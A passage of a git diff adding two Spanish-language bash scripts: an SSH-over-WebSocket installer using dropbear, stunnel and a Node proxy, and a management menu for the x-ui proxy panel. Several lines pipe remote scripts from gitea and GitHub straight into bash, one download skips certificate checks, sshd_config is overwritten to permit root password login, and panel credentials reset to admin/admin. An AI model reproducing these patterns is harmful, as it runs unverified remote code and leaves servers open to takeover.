https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/v2ray_manager.sh) \ No newline at end of file diff --git a/Recursos/test/ws-java.sh b/Recursos/test/ws-java.sh new file mode 100644 index 0000000..8e35e45 --- /dev/null +++ b/Recursos/test/ws-java.sh @@ -0,0 +1,422 @@ +#!/bin/bash +source <(curl -sL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) +barra="\033[0;31m=====================================================\033[0m" + +install_ini () { +clear +echo -e "$barra" +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +echo -e "$barra" +#dropbear +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] || apt-get install dropbear -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install dropbear................ $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs.................. $ESTATUS " +#build-essential +[[ $(dpkg --get-selections|grep -w "build-essential"|head -1) ]] || apt-get install build-essential -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "build-essential"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "build-essential"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install build-essential......... $ESTATUS " +#PV +[[ $(dpkg --get-selections|grep -w "pv"|head -1) ]] || apt-get install pv -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "pv"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "pv"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install PV ................... $ESTATUS " +echo -e "$barra" +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +echo -e "$barra" +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +} + +fun_log () { +[[ -e /bin/ejecutar/sshd_config ]] && { +#### +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] && echo -e "/bin/false" >> /etc/shells +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} +} || { +cp /etc/ssh/sshd_config /bin/ejecutar/sshd_config +sysvar=$(cat -n /etc/issue |grep 1 |cut -d' ' -f6,7,8 |sed 's/1//' |sed 's/ //' | grep -o Ubuntu) +[[ ! $(cat /etc/shells|grep "/bin/false") ]] && { +sed -i "s;/bin/false;;g" /etc/shells +sed -i "s;/usr/sbin/nologin;;g" /etc/shells +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +} +[[ "$sysvar" != "" ]] && { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes +Banner /etc/bannerssh" > /etc/ssh/sshd_config +} +} +###################### + +} + +car_cert () { +[[ -e /etc/stunnel/stunnel.pem ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25 +msg -bar +echo -e "Descarga el fichero URL del Certificado SSL " +echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online" + echo -e " Si Aun no lo has hecho, Cancela este paso" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + echo -e $barra +msg -bar +echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados " +msg -bar +read -p " Pega tu Link : " urlm +wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido" +msg -bar +echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m" +msg -bar +unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir " +[[ -e private.key ]] && cat private.key > /etc/stunnel/stunnel.pem && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m" +[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt >> /etc/stunnel/stunnel.pem && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m" +rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME +unset porta1 +if [[ -z $porta1 ]]; then + porta1="443" +fi +echo -e "$barra" + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingresa Puerto SSL a USAR ( Defauld 443 ) ") " + read -p " Listen-Dropbear: " porta1 + [[ $(mportas|grep $porta1) ]] || break + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1 + echo -e "$barra" + return 0 + done +unset porta1ws +echo -e "$barra" +echo -e "\033[1;33m $(source trans -b pt:${id} "Instalando SSL/TLS : ")$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" +echo -e "$barra" +fun_bar "apt install stunnel4 -y" +echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[WS]\nconnect = 127.0.0.1:80\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf +sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4 +service stunnel4 restart > /dev/null 2>&1 +echo -e "$barra" +#echo "Limpiando sistema y Reiniciando Servicios" +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +echo -e "\033[1;34m ##############################" +echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL" +echo -e "\033[1;34m ##############################" +echo -e "\033[1;33m $(source trans -b pt:${id} "INSTALACION EXITOSA")" +echo -e "$barra" +} + +insta_ser () { +#sudo apt install dropbear squid stunnel cmake make gcc build-essential nodejs +#nano /etc/default/dropbear +unset porta1 +if [[ -z $porta1 ]]; then + porta1="143" +fi +echo -e "$barra" + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingresa Puerto Dropbear/SSH a USAR ( Defauld 143 ) ") " + read -p " Listen-Dropbear: " porta1 + [[ $(mportas|grep $porta1) ]] || break + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1 + echo -e "$barra" + return 0 + done +unset porta1ws +if [[ -z $porta1ws ]]; then + porta1ws="80" +fi +echo -e "$barra" + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingrese Puerto WebSocket ( Default 80 ) ") " + read -p " Listen-WS: " porta1ws + if lsof -Pi :$porta1ws -sTCP:LISTEN -t >/dev/null ; then + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1ws + echo -e "$barra" + return 0 + else + break + fi + done +echo -e "$barra" +service dropbear stop 1> /dev/null 2> /dev/null +rm -rf /etc/default/dropbear +echo -e "Habilitando Entrada Dropbear" | pv -qL 30 +fun_log +echo -e "NO_START=0" > /etc/default/dropbear && echo -e "\033[1;33mExito" || echo -e "\033[0;31mFail" +echo -e "Habilitando Puerto $porta1 Dropbear" | pv -qL 30 +# +echo $porta1 > /etc/default/dadd +echo -e 'DROPBEAR_EXTRA_ARGS="-p '$porta1'"' >> /etc/default/dropbear && echo -e "\033[1;33mExito" || echo -e "\033[0;31mFail" +echo -e "\033[1;32mHabilitando BannerSSH DropBear" | pv -qL 30 +# +echo -e 'DROPBEAR_BANNER="/etc/bannerssh"' >> /etc/default/dropbear && touch /etc/bannerssh || echo -e "\033[0;31mFail" +echo -e "DROPBEAR_RECEIVE_WINDOW=65536" >> /etc/default/dropbear +echo "/bin/false" >> /etc/shells +echo "/usr/sbin/nologin" >> /etc/shells +service dropbear restart 1> /dev/null 2> /dev/null && echo -e "\033[1;32mReiniciando DropBear Exitosamente" | pv -qL 30 || echo -e "\033[1;32mError al Reiniciar DropBear" | pv -qL 30 +service sshd restart 1> /dev/null 2> /dev/null +service ssh restart 1> /dev/null 2> /dev/null +dropbearports=`netstat -tunlp | grep dropbear | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/dropbear.txt && echo | cat /tmp/dropbear.txt | tr '\n' ' ' > /etc/adm-lite/dropbearports.txt && cat /etc/adm-lite/dropbearports.txt`; +echo -e "\033[1;31m › DROPBEAR ESCUCHA \033[0m" $porta1 " ESCOJIDO " $porta1 +echo -e "$barra" +echo -e "Creando Directorios" | pv -qL 30 +# +[[ -d /bin/ejecutar ]] && rm -f /bin/ejecutar/proxy3.js || mkdir /bin/ejecutar +cd /bin/ejecutar +echo -e "Descargando Ficheros JS" | pv -qL 30 +wget -q https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/ws-java-sh/proxy3.js +echo -e "\033[1;32mHabilitando NODE WS" | pv -qL 30 +# +echo -e "Iniciando NODE WS" | pv -qL 30 +# +screen -dmS ws node /bin/ejecutar/proxy3.js -dport $porta1 -mport $porta1ws +cd $HOME +echo -e "Mostrando Status NODE WS\n ----------- Presiona CNTRL + X para Salir ------------" +echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31m USA este Payload " + echo -e " En el Menu de Seleccion.\033[0m" + echo -e $barra +echo ' GET / HTTP/1.1[crlf]Host: yourhost.com[crlf] + Connection: Upgrade[crlf]User-Agent: [ua][crlf] + Upgrade: websocket[crlf][crlf] ' +echo -e $barra +#read -p "Presiona Enter para Continuar" +# +#[[ -e /etc/systemd/system/nodews1.service ]] && systemctl status nodews1 || echo -e "Error al Iniciar NODE WS" | pv -qL 15 +echo -e $barra +echo -e "\033[1;33m › INSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +} + +insta_https () { +unset porta1 +sslports=`netstat -tunlp | grep stunnel4 | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssl.txt && echo | cat /tmp/ssl.txt | tr '\n' ' ' > /etc/adm-lite/sslports.txt && cat /etc/adm-lite/sslports.txt`; +PORT=$(cat /etc/adm-lite/sslports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +echo -e " Ingrese Puerto SSL/SSH/Dropbear Activo" +read -p " Para Redireccionamiento ( Default $PORT ): " porta1 +if [[ -z $porta1 ]]; then + porta1="$PORT" + echo -e "\033[1;31m › SSL ESCUCHA \033[0m $PORT " +fi +echo -e "\033[1;31m › Puerta Seleccionada \033[0m $porta1 " +unset porta1ws +#read -p "Ingrese Puerto WebSocket SSL ( Default 2083 ): " porta1ws +if [[ -z $porta1ws ]]; then + porta1ws="2083" +fi +echo -e "$barra" + while true; do + echo -ne "\033[1;37m" + echo " $(source trans -b pt:${id} "Ingrese Puerto WebSocket ( Default 80 ) ") " + read -p " Listen-WS: " porta1ws + [[ $(mportas|grep $porta1ws) ]] || break + echo -e "\033[1;33m $(source trans -b es:${id} "El puerto seleccionado ya se encuentra en uso")" + unset porta1ws + echo -e "$barra" + return 0 + done +echo -e "$barra" +if lsof -Pi :$porta1ws -sTCP:LISTEN -t >/dev/null ; then +echo "Ya esta en uso ese puerto" +exit +else +echo -e "Creando Directorios" | pv -qL 15 +# +[[ -d /bin/ejecutar ]] && echo "Fichero Existente" || mkdir /bin/ejecutar +cd /bin/ejecutar +echo -e "Descargando Ficheros JS" | pv -qL 15 +wget -O httpsProxy.js -q https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/ws-java-sh/proxy3.js +echo -e "\033[1;32mHabilitando NODE WS" | pv -qL 15 +# +echo -e "Iniciando NODE WS" | pv -qL 15 +# +screen -dmS httpsws node /bin/ejecutar/httpsProxy.js -dport $porta1 -mport $porta1ws +cd $HOME +echo -e "Mostrando Status NODE WS\n ----------- Presiona CNTRL + X para Salir ------------" +echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31m USA este Payload " + echo -e " En el Menu de Seleccion.\033[0m" + echo -e $barra +echo ' GET / HTTP/1.1[crlf]Host: yourhost.com[crlf] + Connection: Upgrade[crlf]User-Agent: [ua][crlf] + Upgrade: websocket[crlf][crlf] ' +echo -e $barra +#read -p "Presiona Enter para Continuar" +# +#[[ -e /etc/systemd/system/nodews1.service ]] && systemctl status nodews1 || echo -e "Error al Iniciar NODE WS" | pv -qL 15 +echo -e $barra +echo -e "\033[1;33m › INSTALACION FINALIZADA - PRESIONE ENTER\033[0m" +read -p " " +fi +} + + +stop_ser () { +killall node +} + + +unset inst +clear +echo -e "\033[1;42mBIENVENIDO NUEVAMENTE!\033[0m" +echo -e $barra + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mRecomendado UBUNTU 20.04" + echo -e " Si Aun no lo has hecho, Dijita SI o s" + echo -e " Para Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + echo -e $barra +echo -e "Menu de instalacion de Paquetes Necesarios " +echo -ne "\033[97m Deseas Instalar los Paquetes Requeridos [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +clear +source cabecalho +echo -e $barra +echo -e " \033[1;42mBIENVENIDO NUEVAMENTE!\033[0m" +echo -e $barra +echo -e " SSH OVER WEBSOCKET CDN " +echo -e "\033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m INICIAR WEBSOCKET CDN (HTTP) DROPBEAR" +echo -e "\033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m INICIAR WEBSOCKET CDN (HTTPS) SSL/SSH" +echo -e "\033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m DETENER TODOS WEBSOCKET CDN" +echo -e $barra +echo -e "\033[0;35m[\033[0;36m0\033[0;35m] \033[0;34m<\033[0;33m SALIR" +unset inst +echo -e $barra +echo -ne "\033[97m ESCOJE [ 1 / 2 ]: " +read inst +[[ $inst = "1" ]] && insta_ser +[[ $inst = "2" ]] && insta_https +[[ $inst = "3" ]] && stop_ser +[[ $inst = "0" ]] && menu +#[[ $inst = @("1"|"01") ]] && insta_ser +echo "Instalacion Concluida con Exito" \ No newline at end of file diff --git a/Recursos/test/x-ui.sh b/Recursos/test/x-ui.sh new file mode 100644 index 0000000..f860f8d --- /dev/null +++ b/Recursos/test/x-ui.sh @@ -0,0 +1,499 @@ +#!/bin/bash + +red='\033[0;31m' +green='\033[0;32m' +yellow='\033[0;33m' +plain='\033[0m' + +# check root +[[ $EUID -ne 0 ]] && echo -e "${red}Error: ${plain}¡Debe utilizar el usuario root para ejecutar este script!\n" && exit 1 + +# check os +if [[ -f /etc/redhat-release ]]; then + release="centos" +elif cat /etc/issue | grep -Eqi "debian"; then + release="debian" +elif cat /etc/issue | grep -Eqi "ubuntu"; then + release="ubuntu" +elif cat /etc/issue | grep -Eqi "centos|red hat|redhat"; then + release="centos" +elif cat /proc/version | grep -Eqi "debian"; then + release="debian" +elif cat /proc/version | grep -Eqi "ubuntu"; then + release="ubuntu" +elif cat /proc/version | grep -Eqi "centos|red hat|redhat"; then + release="centos" +else + echo -e "${red} No se detecta la versión del sistema, póngase en contacto con el autor del script.${plain}\n" && exit 1 +fi + +os_version="" + +# os version +if [[ -f /etc/os-release ]]; then + os_version=$(awk -F'[= ."]' '/VERSION_ID/{print $3}' /etc/os-release) +fi +if [[ -z "$os_version" && -f /etc/lsb-release ]]; then + os_version=$(awk -F'[= ."]+' '/DISTRIB_RELEASE/{print $2}' /etc/lsb-release) +fi + +if [[ x"${release}" == x"centos" ]]; then + if [[ ${os_version} -le 6 ]]; then + echo -e "${red}Por Favor Use - CentOS 7 o sistema superior!${plain}\n" && exit 1 + fi +elif [[ x"${release}" == x"ubuntu" ]]; then + if [[ ${os_version} -lt 16 ]]; then + echo -e "${red}¡Utilice Ubuntu 16 o una versión superior del sistema!${plain}\n" && exit 1 + fi +elif [[ x"${release}" == x"debian" ]]; then + if [[ ${os_version} -lt 8 ]]; then + echo -e "${red}¡Utilice Debian 8 o un sistema de versión superior!${plain}\n" && exit 1 + fi +fi + +confirm() { + if [[ $# > 1 ]]; then + echo && read -p "$1 [Defauld$2]: " temp + if [[ "${temp}" == "" ]]; then + temp=$2 + fi + else + read -p "$1 [y/n]: " temp + fi + if [[ "${temp}" == "y" || "${temp}" == "Y" ]]; then + return 0 + else + return 1 + fi +} + +confirm_restart() { + confirm "Ya sea para reiniciar el panel, reiniciar el panel también reiniciará xray" "y" + if [[ $? == 0 ]]; then + restart + else + show_menu + fi +} + +before_show_menu() { + echo && echo -n -e "${yellow}Presione enter para regresar al menú principal: ${plain}" && read temp + show_menu +} + +install() { + bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) + if [[ $? == 0 ]]; then + if [[ $# == 0 ]]; then + start + else + start 0 + fi + fi +} + +update() { + confirm "Esta función reinstalará a la fuerza la última versión actual y los datos no se perderán. ¿Desea continuar?" "n" + if [[ $? != 0 ]]; then + echo -e "${red}Cancelado${plain}" + if [[ $# == 0 ]]; then + before_show_menu + fi + return 0 + fi + bash <(curl -Ls https://raw.githubusercontent.com/vaxilu/x-ui/master/install.sh) + if [[ $? == 0 ]]; then + echo -e "${green}La actualización está completa y el panel se ha reiniciado automáticamente${plain}" + exit 0 + fi +} + +uninstall() { + confirm "¿Está seguro de que desea desinstalar el panel, xray también lo desinstalará? " "n" + if [[ $? != 0 ]]; then + if [[ $# == 0 ]]; then + show_menu + fi + return 0 + fi + systemctl stop x-ui + systemctl disable x-ui + rm /etc/systemd/system/x-ui.service -f + systemctl daemon-reload + systemctl reset-failed + rm /etc/x-ui/ -rf + rm /usr/local/x-ui/ -rf + rm /usr/bin/x-ui -f + echo "" + echo -e "La desinstalación se realizó correctamente. Si desea eliminar esta secuencia de comandos, salga de la secuencia de comandos y ejecute ${green}rm /usr/bin/x-ui -f${plain}Borrar" + echo "" + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +reset_user() { + confirm "¿Está seguro de que desea restablecer el nombre de usuario y la contraseña a admin " "n" + if [[ $? != 0 ]]; then + if [[ $# == 0 ]]; then + show_menu + fi + return 0 + fi + /usr/local/x-ui/x-ui setting -username admin -password admin + echo -e "El nombre de usuario y la contraseña se han restablecido a ${green}admin${plain}, Reinicia el panel ahora" + confirm_restart +} + +reset_config() { + confirm "¿Está seguro de que desea restablecer todas las configuraciones del panel? No se perderán los datos de la cuenta, ni se cambiará el nombre de usuario ni la contraseña" "n" + if [[ $? != 0 ]]; then + if [[ $# == 0 ]]; then + show_menu + fi + return 0 + fi + /usr/local/x-ui/x-ui setting -reset + echo -e "Todos los paneles se han restablecido a los valores predeterminados, ahora reinicie los paneles y utilice los valores predeterminados. ${green}65432${plain}Panel de acceso al puerto" + confirm_restart +} + +set_port() { + echo && echo -n -e "Ingrese el número de puerto [1-65535]: " && read port + if [[ -z "${port}" ]]; then + echo -e "${yellow}Cancelado${plain}" + before_show_menu + else + /usr/local/x-ui/x-ui setting -port ${port} + echo -e "Después de configurar el puerto, reinicie el panel y use el puerto recién configurado${green} ${port} ${plain}Panel de acceso" + confirm_restart + fi +} + +start() { + check_status + if [[ $? == 0 ]]; then + echo "" + echo -e "${green}El panel ya se está ejecutando, no es necesario comenzar de nuevo, si necesita reiniciar, seleccione reiniciar${plain}" + else + systemctl start x-ui + sleep 2 + check_status + if [[ $? == 0 ]]; then + echo -e "${green}x-ui Comenzó exitosamente${plain}" + else + echo -e "${red}El panel no pudo iniciarse. Puede deberse a que tardó más de dos segundos en iniciarse. Verifique la información de registro más tarde.${plain}" + fi + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +stop() { + check_status + if [[ $? == 1 ]]; then + echo "" + echo -e "${green}面板已停止,无需再次停止${plain}" + else + systemctl stop x-ui + sleep 2 + check_status + if [[ $? == 1 ]]; then + echo -e "${green}x-ui 与 xray 停止成功${plain}" + else + echo -e "${red}面板停止失败,可能是因为停止时间超过了两秒,请稍后查看日志信息${plain}" + fi + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +restart() { + systemctl restart x-ui + sleep 2 + check_status + if [[ $? == 0 ]]; then + echo -e "${green}x-ui y xray REINCIADO EXITOSAMENTE${plain}" + else + echo -e "${red}El reinicio del panel falló, puede deberse a que el tiempo de inicio supera los dos segundos, verifique la información de registro más tarde${plain}" + fi + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +status() { + systemctl status x-ui -l + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +enable() { + systemctl enable x-ui + if [[ $? == 0 ]]; then + echo -e "${green}x-ui Configure el inicio automático de encendido correctamente${plain}" + else + echo -e "${red}x-ui No se pudo configurar el inicio automático después del encendido${plain}" + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +disable() { + systemctl disable x-ui + if [[ $? == 0 ]]; then + echo -e "${green}x-ui Cancelar el inicio automático de encendido con éxito${plain}" + else + echo -e "${red}x-ui Cancelar la falla de arranque${plain}" + fi + + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +show_log() { + journalctl -u x-ui.service -e --no-pager -f + if [[ $# == 0 ]]; then + before_show_menu + fi +} + +migrate_v2_ui() { + /usr/local/x-ui/x-ui v2-ui + + before_show_menu +} + +install_bbr() { + # temporary workaround for installing bbr + bash <(curl -L -s https://raw.githubusercontent.com/teddysun/across/master/bbr.sh) + echo "" + before_show_menu +} + +update_shell() { + wget -O /usr/bin/x-ui -N --no-check-certificate https://github.com/vaxilu/x-ui/raw/master/x-ui.sh + if [[ $? != 0 ]]; then + echo "" + echo -e "${red}No se pudo descargar el script, verifique si la máquina se puede conectar a Github${plain}" + before_show_menu + else + chmod +x /usr/bin/x-ui + echo -e "${green}La secuencia de comandos de actualización se realizó correctamente. Vuelva a ejecutar la secuencia de comandos.${plain}" && exit 0 + fi +} + +# 0: running, 1: not running, 2: not installed +check_status() { + if [[ ! -f /etc/systemd/system/x-ui.service ]]; then + return 2 + fi + temp=$(systemctl status x-ui | grep Active | awk '{print $3}' | cut -d "(" -f2 | cut -d ")" -f1) + if [[ x"${temp}" == x"running" ]]; then + return 0 + else + return 1 + fi +} + +check_enabled() { + temp=$(systemctl is-enabled x-ui) + if [[ x"${temp}" == x"enabled" ]]; then + return 0 + else + return 1; + fi +} + +check_uninstall() { + check_status + if [[ $? != 2 ]]; then + echo "" + echo -e "${red}El panel se ha instalado, no repita la instalación${plain}" + if [[ $# == 0 ]]; then + before_show_menu + fi + return 1 + else + return 0 + fi +} + +check_install() { + check_status + if [[ $? == 2 ]]; then + echo "" + echo -e "${red}Primero instale el panel ${plain}" + if [[ $# == 0 ]]; then + before_show_menu + fi + return 1 + else + return 0 + fi +} + +show_status() { + check_status + case $? in + 0) + echo -e "Estado del panel: ${green} EJECUTANDO ${plain}" + show_enable_status + ;; + 1) + echo -e "Estado del panel: ${yellow}NO EJECUTADO ${plain}" + show_enable_status + ;; + 2) + echo -e "Estado del panel: ${red}No Instalao${plain}" + esac + show_xray_status +} + +show_enable_status() { + check_enabled + if [[ $? == 0 ]]; then + echo -e "Ejecucion al Iniciar: ${green}SI${plain}" + else + echo -e "Ejecucion al Iniciar: ${red}NO${plain}" + fi +} + +check_xray_status() { + count=$(ps -ef | grep "xray-linux" | grep -v "grep" | wc -l) + if [[ count -ne 0 ]]; then + return 0 + else + return 1 + fi +} + +show_xray_status() { + check_xray_status + if [[ $? == 0 ]]; then + echo -e "xray ESTADO: ${green}EJECUTANDO{plain}" + else + echo -e "xray ESTADO: ${red}NO EJECUTADO${plain}" + fi +} + +show_usage() { + echo "x-ui Cómo usar scripts de administración (Traduccion ChumoGHADM)" + echo "------------------------------------------" + echo "x-ui - Menú de gestión de pantalla (más funciones)" + echo "x-ui - Menú de gestión de pantalla (más funciones)" + echo "x-ui start - Inicie el panel x-ui" + echo "x-ui stop - Detener el panel x-ui" + echo "x-ui restart - Reinicie el panel x-ui" + echo "x-ui status - Ver el estado de x-ui" + echo "x-ui enable - AutoEjecutar al Arranque" + echo "x-ui disable - Desactivar AutoEjecutar al Arranque " + echo "x-ui log - Ver registro x-ui" + echo "x-ui update - Actualizar el panel x-ui" + echo "x-ui install - Instalar el panel x-ui" + echo "x-ui uninstall - Desinstalar el panel x-ui" + echo "------------------------------------------" +} + +show_menu() { + echo -e " + ${green}x-ui Script de gestión del panel${plain} + ${green}0.${plain} Salir +———————————————— + ${green}1.${plain}Instalar x-ui + ${green}2.${plain}Actualizar x-ui + ${green}3.${plain}Desinstalar x-ui +———————————————— + ${green}4.${plain}Restablecer nombre de usuario y contraseña + ${green}5.${plain}Restablecer la configuración del panel + ${green}6.${plain}Establecer el puerto del panel +———————————————— + ${green}7.${plain}Iniciar x-ui + ${green}8.${plain}Detener x-ui + ${green}9.${plain}Reiniciar x-ui + ${green}10.${plain}Ver el estado de x-ui + ${green}11.${plain}Ver registro x-ui +———————————————— + ${green}12.${plain} Encender AutoEjecucion + ${green}13.${plain} Cancelar AutoEjecucion +———————————————— + ${green}14.${plain} Instalación de bbr (el último kernel) + " + show_status + echo && read -p "请输入选择 [0-14]: " num + + case "${num}" in + 0) exit 0 + ;; + 1) check_uninstall && install + ;; + 2) check_install && update + ;; + 3) check_install && uninstall + ;; + 4) check_install && reset_user + ;; + 5) check_install && reset_config + ;; + 6) check_install && set_port + ;; + 7) check_install && start + ;; + 8) check_install && stop + ;; + 9) check_install && restart + ;; + 10) check_install && status + ;; + 11) check_install && show_log + ;; + 12) check_install && enable + ;; + 13) check_install && disable + ;; + 14) install_bbr + ;; + *) echo -e "${red}请输入正确的数字 [0-14]${plain}" + ;; + esac +} + + +if [[ $# > 0 ]]; then + case $1 in + "start") check_install 0 && start 0 + ;; + "stop") check_install 0 && stop 0 + ;; + "restart") check_install 0 && restart 0 + ;; + "status") check_install 0 && status 0 + ;; + "enable") check_install 0 && enable 0 + ;; + "disable") check_install 0 && disable 0 + ;; + "log") check_install 0 && show_log 0 + ;; + "v2-ui") check_install 0 && migrate_v2_ui 0 + ;; + "update") check_install 0 && update 0 + 